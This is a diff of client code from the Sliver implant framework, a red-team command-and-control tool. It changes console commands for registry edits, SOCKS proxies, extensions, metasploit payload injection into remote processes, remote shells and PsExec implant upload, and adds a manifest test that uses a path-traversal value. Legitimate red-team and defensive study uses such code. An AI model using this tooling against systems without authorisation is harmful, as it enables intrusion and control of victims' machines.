Name: consts.RegistryDeleteKeyStr,
|
||||
Help: "Remove a registry key",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RegistryDeleteKeyStr}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("registry-path", "registry path")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
registry.RegDeleteKeyCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.String("H", "hive", "HKCU", "registry hive")
|
||||
f.String("o", "hostname", "", "remote host to remove value from")
|
||||
},
|
||||
})
|
||||
registryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RegistryListSubStr,
|
||||
Help: "List the sub keys under a registry key",
|
||||
@@ -2470,24 +2159,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
pivotsCmd.AddCommand(&grumble.Command{
|
||||
Name: "graph",
|
||||
Help: "Get details of a pivot listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, "graph"}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("i", "id", 0, "id of the pivot listener to stop")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
pivots.PivotsGraphCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ WireGuard ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
@@ -2673,8 +2344,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
}
|
||||
socksCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.StartStr,
|
||||
Help: "Start an in-band SOCKS5 proxy",
|
||||
Name: "add",
|
||||
Help: "Create a new Socks5 Proxy",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("H", "host", "127.0.0.1", "Bind a Socks5 Host")
|
||||
@@ -2683,15 +2354,15 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
socks.SocksStartCmd(ctx, con)
|
||||
socks.SocksAddCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
socksCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.StopStr,
|
||||
Help: "Stop a SOCKS5 proxy",
|
||||
Name: "rm",
|
||||
Help: "Remove a Socks5 Proxy",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
|
||||
@@ -2699,7 +2370,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
socks.SocksStopCmd(ctx, con)
|
||||
socks.SocksRmCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
@@ -3030,7 +2701,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
// [ Get Privs ] -----------------------------------------------------------------
|
||||
getprivsCmd := &grumble.Command{
|
||||
Name: consts.GetPrivsStr,
|
||||
Help: "Get current privileges (Windows only)",
|
||||
Help: "Get current privileges (Windows)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.GetPrivsStr}),
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -3047,13 +2718,13 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
// [ Extensions ] -----------------------------------------------------------------
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: consts.ExtensionsStr,
|
||||
Help: "Manage extensions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr}),
|
||||
Name: consts.ExtensionStr,
|
||||
Help: "Manage sliver extensions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.ExtensionsCmd(ctx, con)
|
||||
extensions.ListCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
@@ -3061,82 +2732,25 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
}
|
||||
|
||||
extensionCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.ListStr,
|
||||
Help: "List extensions loaded in the current session or beacon",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.ExtensionsListCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
|
||||
extensionCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.LoadStr,
|
||||
Help: "Temporarily load an extension from a local directory",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}),
|
||||
Help: "Register a new extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.ExtensionLoadCmd(ctx, con)
|
||||
extensions.LoadCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("dir-path", "path to the extension directory")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return completers.LocalPathCompleter(prefix, args, con)
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
})
|
||||
|
||||
extensionCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.InstallStr,
|
||||
Help: "Install an extension from a local directory or .tar.gz file",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.ExtensionsInstallCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to the extension .tar.gz or directory")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return completers.LocalPathCompleter(prefix, args, con)
|
||||
},
|
||||
})
|
||||
|
||||
extensionCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove an installed extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.RmStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.ExtensionsRemoveCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "the command name of the extension to remove")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return extensions.ExtensionsCommandNameCompleter(prefix, args, con)
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(extensionCmd)
|
||||
|
||||
// [ Prelude's Operator ] ------------------------------------------------------------
|
||||
operatorCmd := &grumble.Command{
|
||||
Name: consts.PreludeOperatorStr,
|
||||
|
||||
@@ -1,4 +0,0 @@
|
||||
Completers
|
||||
===========
|
||||
|
||||
This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
|
||||
@@ -1,63 +0,0 @@
|
||||
package completers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
)
|
||||
|
||||
// LocalPathCompleter - Completes a local file system path
|
||||
func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
var parent string
|
||||
var partial string
|
||||
fi, err := os.Stat(prefix)
|
||||
if os.IsNotExist(err) {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
} else {
|
||||
if fi.IsDir() {
|
||||
parent = prefix
|
||||
partial = ""
|
||||
} else {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
}
|
||||
}
|
||||
|
||||
results := []string{}
|
||||
ls, err := ioutil.ReadDir(parent)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
for _, fi = range ls {
|
||||
if 0 < len(partial) {
|
||||
if strings.HasPrefix(fi.Name(), partial) {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
}
|
||||
} else {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -109,7 +109,7 @@ func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname strin
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, _ = ioutil.TempFile("", outFile)
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
}
|
||||
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/term"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -161,9 +161,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
|
||||
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
|
||||
|
||||
var oldState *term.State
|
||||
var oldState *terminal.State
|
||||
if !noPty {
|
||||
oldState, err = term.MakeRaw(0)
|
||||
oldState, err = terminal.MakeRaw(0)
|
||||
log.Printf("Saving terminal state: %v", oldState)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save terminal state\n")
|
||||
@@ -195,7 +195,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
|
||||
if !noPty {
|
||||
log.Printf("Restoring terminal state ...")
|
||||
term.Restore(0, oldState)
|
||||
terminal.Restore(0, oldState)
|
||||
}
|
||||
|
||||
log.Printf("Exit interactive")
|
||||
|
||||
@@ -33,8 +33,8 @@ import (
|
||||
|
||||
// MsfInjectCmd - Inject a metasploit payload into a remote process
|
||||
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -49,23 +49,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
|
||||
if pid == -1 {
|
||||
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -98,15 +90,6 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
// PrintMsfRemote - Print the results of the remote injection attempt
|
||||
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
|
||||
if msfRemote.Response == nil {
|
||||
con.PrintErrorf("Empty response from msf payload injection task")
|
||||
return
|
||||
}
|
||||
if msfRemote.Response.Err != "" {
|
||||
con.PrintInfof("Executed payload on target")
|
||||
} else {
|
||||
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
|
||||
}
|
||||
|
||||
}
|
||||
@@ -25,15 +25,14 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MsfCmd - Inject a metasploit payload into the current remote process
|
||||
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -47,21 +46,12 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
@@ -73,20 +63,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if msfTask.Response != nil && msfTask.Response.Async {
|
||||
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, msfTask)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMsfRemote(msfTask, con)
|
||||
})
|
||||
con.PrintAsyncResponse(msfTask.Response)
|
||||
} else {
|
||||
PrintMsfRemote(msfTask, con)
|
||||
con.PrintInfof("Executed payload on target\n")
|
||||
}
|
||||
}
|
||||
@@ -86,7 +86,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("No profile found for name %s\n", profile)
|
||||
return
|
||||
}
|
||||
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
|
||||
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
|
||||
filename := randomString(10)
|
||||
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
|
||||
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
|
||||
|
||||
@@ -1,51 +1,46 @@
|
||||
Extensions
|
||||
===========
|
||||
====
|
||||
|
||||
Allows to load and execute 3rd party extensions.
|
||||
|
||||
Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
|
||||
must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
|
||||
parent directories are not allowed. Only files listed in the manifest are copied, any other files will
|
||||
be ignored.
|
||||
Extensions must be loaded from a directory with the following architecture:
|
||||
|
||||
```shell
|
||||
/path/to/extension/folder/
|
||||
├── extension.json
|
||||
├── manifest.json
|
||||
└── windows
|
||||
│ └── extension.x86.dll
|
||||
│ └── extension.x64.dll
|
||||
└── linux
|
||||
│ └── extension.x86.so
|
||||
│ └── extension.x64.so
|
||||
└── darwin
|
||||
└── extension.x86.dylib
|
||||
└── extension.x64.dylib
|
||||
├── 386
|
||||
│ └── extension.x86.dll
|
||||
└── amd64
|
||||
└── extension.x64.dll
|
||||
```
|
||||
|
||||
Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
|
||||
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
|
||||
|
||||
Here's an example manifest:
|
||||
|
||||
```json
|
||||
[
|
||||
{
|
||||
"name": "foo",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "ac1d-burn",
|
||||
"original_author": "zer0-cool",
|
||||
"repo_url": "https://github.com/foo/bar",
|
||||
"help": "Help for foo command",
|
||||
"entrypoint": "RunFoo",
|
||||
"init" :"NimMain",
|
||||
"depends_on": "bar",
|
||||
"dependsOn": "bar",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "extension.x64.o",
|
||||
"files":{
|
||||
"x86": "extension.x86.o",
|
||||
"x64": "extension.x64.o",
|
||||
}
|
||||
}
|
||||
],
|
||||
"arguments": [
|
||||
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
|
||||
]
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
The structure is the following one:
|
||||
@@ -56,7 +51,7 @@ The structure is the following one:
|
||||
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
|
||||
- `init`: the initialization function name (if relevant, can be omitted)
|
||||
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
|
||||
- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
|
||||
The `type` of an argument can be one of the following:
|
||||
|
||||
|
||||
@@ -1,125 +0,0 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
// ExtensionsCmd - List information about installed extensions
|
||||
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if 0 < len(getInstalledManifests()) {
|
||||
PrintExtensions(con)
|
||||
} else {
|
||||
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExtensions - Print a list of loaded extensions
|
||||
func PrintExtensions(con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Command Name",
|
||||
"Platforms",
|
||||
"Version",
|
||||
"Installed",
|
||||
"Extension Author",
|
||||
"Original Author",
|
||||
"Repository",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Number: 5, Align: text.AlignCenter},
|
||||
})
|
||||
|
||||
installedManifests := getInstalledManifests()
|
||||
for _, extension := range loadedExtensions {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[extension.CommandName]; ok {
|
||||
installed = "✅"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
extension.Name,
|
||||
extension.CommandName,
|
||||
strings.Join(extensionPlatforms(extension), ",\n"),
|
||||
extension.Version,
|
||||
installed,
|
||||
extension.ExtensionAuthor,
|
||||
extension.OriginalAuthor,
|
||||
extension.RepoURL,
|
||||
})
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
func extensionPlatforms(extension *ExtensionManifest) []string {
|
||||
platforms := map[string]string{}
|
||||
for _, entry := range extension.Files {
|
||||
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
|
||||
}
|
||||
keys := []string{}
|
||||
for key := range platforms {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
manifestPaths := assets.GetInstalledExtensionManifests()
|
||||
installedManifests := map[string]*ExtensionManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &ExtensionManifest{}
|
||||
err = json.Unmarshal(data, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
installedManifests[manifest.CommandName] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
|
||||
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
|
||||
func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
installedManifests := getInstalledManifests()
|
||||
results := []string{}
|
||||
for _, manifest := range installedManifests {
|
||||
if strings.HasPrefix(manifest.CommandName, prefix) {
|
||||
results = append(results, manifest.CommandName)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -1,245 +0,0 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
const (
|
||||
sample1 = `{
|
||||
"name": "test1",
|
||||
"command_name": "test1",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
|
||||
sample2 = `{
|
||||
"name": "test2",
|
||||
"command_name": "test2",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "../../../../foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseExtensionManifest(t *testing.T) {
|
||||
extManifest, err := ParseExtensionManifest([]byte(sample1))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing extension manifest: %s", err)
|
||||
}
|
||||
if extManifest.Name != "test1" {
|
||||
t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
|
||||
}
|
||||
if extManifest.CommandName != "test1" {
|
||||
t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
|
||||
}
|
||||
if extManifest.Version != "1.0.0" {
|
||||
t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
|
||||
}
|
||||
if extManifest.ExtensionAuthor != "test" {
|
||||
t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
|
||||
}
|
||||
if extManifest.OriginalAuthor != "test" {
|
||||
t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
|
||||
}
|
||||
if extManifest.RepoURL != "https://example.com/" {
|
||||
t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
|
||||
}
|
||||
if extManifest.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
|
||||
}
|
||||
if len(extManifest.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
|
||||
}
|
||||
if extManifest.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
|
||||
}
|
||||
if extManifest.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
|
||||
}
|
||||
if extManifest.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
|
||||
}
|
||||
|
||||
extManifest2, err := ParseExtensionManifest([]byte(sample2))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing extension manifest (2): %s", err)
|
||||
}
|
||||
if extManifest2.Name != "test2" {
|
||||
t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
|
||||
}
|
||||
if extManifest2.CommandName != "test2" {
|
||||
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
|
||||
}
|
||||
if extManifest2.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
|
||||
}
|
||||
if len(extManifest2.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
|
||||
}
|
||||
if extManifest2.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
|
||||
}
|
||||
if extManifest2.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
|
||||
}
|
||||
if extManifest2.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
|
||||
}
|
||||
}
|
||||
|
||||
const (
|
||||
sample3 = `{
|
||||
"name": "test3",
|
||||
"command_name": "test3",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
sample3, err := ParseExtensionManifest([]byte(sample3))
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to parse initial sample3: %s", err)
|
||||
}
|
||||
|
||||
missingName := (*sample3)
|
||||
missingName.Name = ""
|
||||
data, _ := json.Marshal(missingName)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing name error, got none")
|
||||
}
|
||||
|
||||
missingCmdName := (*sample3)
|
||||
missingCmdName.CommandName = ""
|
||||
